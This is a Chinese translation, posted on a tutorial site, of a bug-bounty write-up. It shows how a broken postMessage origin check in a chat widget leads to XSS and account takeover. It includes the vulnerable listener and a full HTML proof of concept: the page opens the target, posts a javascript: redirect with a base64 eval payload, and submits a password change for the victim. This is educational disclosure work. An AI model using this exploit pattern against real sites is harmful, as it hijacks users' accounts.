程序员的知识教程库

网站首页 > 教程分享 正文

通过posMessage实现账户接管(paypal账户是什么)

henian88 2024-09-06 18:41:05 教程分享 9 ℃ 0 评论

??翻译文章,原文:Account takeover via postMessage[1]


大家好,我将分享一个通过postMessage完成的简单有趣的xss。当我在私有程序中查找站点错误时,偶然发现了一段JavaScript代码,该代码如下:

t.prototype.redirectTo = function(t) {
    var e = String(t || "");
    document.location.href = e;
},
t.prototype.handleMessages = function(t) {
    var e = this.chatInstancesDetail.filter(function(e) {
        return e.domain.toLowerCase() === t.origin.toLowerCase()
    })[0];
    if (null !== e) {
        var i = document.getElementById(this.inlineChatFrameId)
          , n = i && i.parentElement;
        switch (t.data.command) {
        case "inline-chat-window-minimise":
            return n && (n.classList.remove("gnatta-inline-webchat"),
            n.classList.add("gnatta-inline-webchat-collapse"),
            this.toggleInlineChatScrollLock(n, !1)),
            void this.cookieService.create("InlineChatIsMinimized", "true", "", 0);
        case "inline-chat-window-maximise":
            return n && (n.classList.remove("gnatta-inline-webchat-collapse"),
            n.classList.add("gnatta-inline-webchat"),
            this.toggleInlineChatScrollLock(n, !0)),
            void this.cookieService["delete"]("InlineChatIsMinimized", "");
        case "inline-chat-window-close":
            return this.killInlineChat(),
            n && this.toggleInlineChatScrollLock(n, !1),
            void this.cookieService["delete"]("InlineChatIsMinimized", "");
        case "window-redirect":
            return this.redirectTo(t.data.completionRedirectUrl),
            void this.inlineChatSessionTrackingService.removeActiveChat()
        }
    }
}

简短阅读此代码后,我发现他正在收听postMessage。每当我遇到postMessage代码时,我总是检查他是否检查了origin。这段代码清楚地告诉我们,是的,他正在检查来源。所有这些似乎都不是问题,但您可能会发现JavaScript存在问题。让我们看一下原点检查代码。

var e = this.chatInstancesDetail.filter(function(e) {
    return e.domain.toLowerCase() === t.origin.toLowerCase()
})[0];
if (null !== e) {//...}

通过观察,我发现this.chatInstancesDetail是一个数组,并且Array.prototype.filter方法始终返回一个数组。如果您在控制台中运行以下代码:

[1,2].filter((item)=>item===1)[0]

输出1。如果不满足条件,则列出以下代码

[1,2].filter((item)=>item===3)[0]

输出未定义,然后输出判断语句if(null!== e){// ...}。在JavaScript世界中,==和===是不同的。例如null == undefined和null === undefined,它们的结果是不同的,这也导致判断是否始终为真。因此,此检测代码毫无意义,任何域名都可以与其通信。之后,我简单地构造了一个poc,代码如下:

<!DOCTYPE html>
<html>
<head>
    <title>xss via postMessage</title>
</head>
<body>
    <a href="javascript:attack()">click me start attack</a>
    <script type="text/javascript">
        var ctx,interval,payload;
        payload=btoa(`
            window.opener.postMessage('attackSuccess','*');
            if(!window.cx){
                window.cx=1;
                email=$('#currentCustomerEmail').val();
                password='Hackerone123';
                $('input[name=newPassword]').val(password);
                $('input[name=checkNewPassword]').val(password);
                $('input[name=checkNewPassword]').removeAttr("disabled");
                alert('Hello '+email+' your password will be changed to: '+password);
                $('#updatePasswordForm').submit();
            }
        `);
        function attack(){
            ctx=window.open("https://example.com/xxx");
            sendPayload();
        }
        function sendPayload(){
            interval=setInterval(function(){
                ctx.postMessage({'command':'window-redirect','completionRedirectUrl':`javascript:eval(atob('${payload}'))`},'*');
            },500);
            window.addEventListener("message",function(e){
                if(e.data=="attackSuccess"){
                    clearInterval(interval);
                }
            });
        }
    </script>
</body>
</html>

运行poc后,您可以成功修改受害者的密码。最后,谢谢您的阅读

References

[1] Account takeover via postMessage: https://yxw21.github.io/2020/06/05/Account-Takeover-Via-PostMessage/

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表